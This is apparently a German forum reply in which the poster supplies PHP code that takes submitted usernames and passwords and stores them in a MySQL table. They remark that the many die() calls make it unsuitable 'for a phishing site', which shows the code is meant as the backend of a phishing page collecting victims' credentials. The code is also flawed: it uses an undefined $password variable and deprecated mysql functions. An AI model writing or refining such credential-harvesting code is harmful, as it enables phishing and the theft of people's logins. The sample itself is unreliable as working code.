Gib mir mal eben zehn Minuten - Ich teste das...
Ich editiere dann.
EDIT:
PHP-Code:
<?php
$host = "localhost";
$user = "root";
$pw = "";
$db = "";
$con = @mysql_connect($host,$user,$pw);
@mysql_select_db($db);
$user = mysql_real_escape_string(htmlentities($_POST['user'])); //Mit Deinen POST-Daten austauschen!
$pw = mysql_real_escape_string(htmlentities($_POST['pwd'])); //Dito
if(!$con) {
die("Connectien denied for user ".$user." at ".$host."!");
} else {
$query = "SELECT * FROM `bla`.`beispielseite` WHERE `beispielseite`.`user` LIKE '".$user."' AND `beispielseite`.`password` LIKE '".$password."'";
$res = mysql_query($query);
$row = mysql_fetch_row($res);
if(mysql_num_rows($res) == "0") {
//Eintrag ist noch _nicht_ in der Datenbank
$query = "INSERT INTO `bla`.`beispielseite` (user,password) VALUES ('".$user."','".$password."');";
$ret = @mysql_query($query);
if($ret) {
print "Eingetragen!";
} else {
print "Fehler";
}
} else {
//Eintrag existiert schon
die("Eintrag existiert schon!");
}
}
?>
Kann man mit den ganzen die()'s aber so natürlich bei einer Phishingseite nicht verwenden! ^^
Ich denke der Fehler lag daran, dass a) ich beim password $user übergeben habe (bei der Abfrage) und b) Du mein zweites "beispielseite" nicht gegen Deine Tabelle ersetzt hast
.
Musst wieder Deine Daten eintragen (steht jetzt auf Beispiel wieder ^^), vergiss aber das Passwortfeld nicht. Ich hätte das für Dich schon gemacht, wenn ich wüsste, wie dieses bei Dir heißt
.